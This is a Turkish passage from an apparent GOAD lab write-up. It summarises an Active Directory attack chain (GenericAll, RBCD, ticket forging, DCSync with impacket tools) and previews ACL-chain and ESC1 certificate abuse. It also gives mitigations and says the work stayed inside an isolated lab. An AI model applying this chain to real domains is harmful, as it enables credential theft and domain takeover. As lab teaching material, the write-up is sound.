Bir DC bilgisayarı üzerinde GenericAllstannis → KINGSLANDING$RBCD → Administrator bileti → DCSyncimpacket-rbcd + getST + secretsdump -kMachineAccountQuota=0; RBCD yazmalarını kısıtla; 4662’ye alarm

Sıradaki Bölüm 4’te

sevenkingdoms.local’ı ele geçirmek bize orman kökünü verir, ama GOAD bir çok ormanlı laboratuvardır. Bölüm 4’te ikinci ormana, essos.local’e dönüyoruz. Ormanlar arası güven SID filtering uygular (trustAttributes: 8); bu yüzden ExtraSids / SID history taşıyan sahte bir bilet sınırı Domain Admin olarak geçmez. Bunun yerine Bölüm 1’deki missandei dayanağını kullanarak essos.local’e içeriden saldırıyoruz: kendi ACL zincirini (missandei → khal.drogo → viserys.targaryen) yürüyor ve ESSOS-CA sertifika şablonlarını (ESC1) istismar ederek daenerys.targaryen’e ulaşıp ikinci ormanı DCSync ediyoruz.

Kanıt ve sınırlar

Sekiz adımlı ACL zincirinin tamamı, izole GOAD laboratuvarındaki sevenkingdoms.local ve KINGSLANDING (192.168.56.10) üzerinde yürütüldü. Zincir boyunca yapılan yıkıcı değişiklikler (jaime.lannister parola sıfırlaması, tyron.lannister ve Kingsguard üzerindeki DACL/sahiplik yazmaları, grup eklemeleri ve RBCD bilgisayar hesabı) temizlik aşamasında açıkça geri alındı ve doğrulama sonrasında sanal makine anlık görüntüsü geri yüklendi. Gösterilen hesaplar, parolalar ve hash’ler GOAD test veri kümesine aittir; hiçbir işlem host-only laboratuvar ağının dışına çıkmadı.

Referanslar

Kaynaklar ve güncellik

Bu teknik not ne kadar güncel?

Kontrol edilen kaynaklar4 Kasım 2026

En son kaynak incelemesi, içerik güncellemesi veya yayın tarihi gösterilmektedir.

İnceleme DurumuKamuya açık kaynaklar incelendi

Birincil kamu kayıtları kontrol edildi. Ortama özgü davranış, ayrıca yeniden üretilmedikçe iddianın dışındadır.